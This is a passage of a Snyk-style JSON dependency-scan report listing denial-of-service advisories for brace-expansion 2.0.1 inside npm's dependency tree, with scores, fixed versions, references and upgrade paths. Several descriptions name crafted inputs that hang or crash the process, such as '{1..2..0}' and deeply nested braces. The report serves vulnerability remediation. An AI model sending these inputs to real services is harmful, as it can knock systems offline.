"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
